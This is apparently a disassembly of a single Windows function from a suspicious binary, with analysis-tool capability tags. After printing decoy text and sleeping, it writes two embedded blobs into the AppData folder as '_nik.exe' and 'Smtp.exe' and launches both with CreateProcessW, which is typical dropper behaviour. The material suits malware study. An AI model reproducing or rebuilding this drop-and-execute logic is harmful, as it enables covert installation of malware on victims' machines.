Function at 0x404f10
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c4
mov eax, dword [0x9cb7c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x401d30
push str.Hello_World_
push 0x9cc770
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.You_will_improve_your_reading_comprehension_and_develop_your_vocabulary_on_a_diverse_range_of_international_events__celebrations_and_topics._Each_article_has_interactive_exercises_to_help_you_understand_and_use_the_language
push 0x9cc770
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.A_pointer_to_the_base_address_in_the_specified_process_from_which_to_read._Before_any_data_transfer_occurs__the_system_verifies_that_all_data_in_the_base_address_and_memory_of_the_specified_size_is_accessible_for_read_access__and_if_it_is_not_accessible_the_function_fails.
push 0x9cc770
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.A_pointer_to_a_variable_that_receives_the_number_of_bytes_transferred_into_the_specified_buffer._If_lpNumberOfBytesRead_is_NULL__the_parameter_is_ignored.
push 0x9cc770
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x405139
push str._nik.exe
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x2ac]
call fcn.004021a0
push eax
lea edx, [ebp - 0x23c]
push edx
call fcn.00401460
add esp, 0xc
lea ecx, [ebp - 0x2ac]
call fcn.00402a50
nop
push str.Smtp.exe
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x2c4]
call fcn.004021a0
push eax
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401460
add esp, 0xc
lea ecx, [ebp - 0x2c4]
call fcn.00402a50
nop
push 0x3a200
push section..data
lea edx, [ebp - 0x23c]
push edx
call fcn.00403220
add esp, 0xc
push 0x569596
push 0x462200
lea eax, [ebp - 0x224]
push eax
call fcn.00403220
add esp, 0xc
mov dword [ebp - 0x280], 0x44
push 0x40
push 0
lea ecx, [ebp - 0x27c]
push ecx
call fcn.00408680
add esp, 0xc
lea edx, [ebp - 0x290]
push edx
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x23c]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4050c6
mov ecx, dword [ebp - 0x290]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x28c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x280]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x224]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405113
mov edx, dword [ebp - 0x290]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x294], 0
lea ecx, [ebp - 0x224]
call fcn.00402a50
lea ecx, [ebp - 0x23c]
call fcn.00402a50
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004073ff
mov esp, ebp
pop ebp
ret 0x10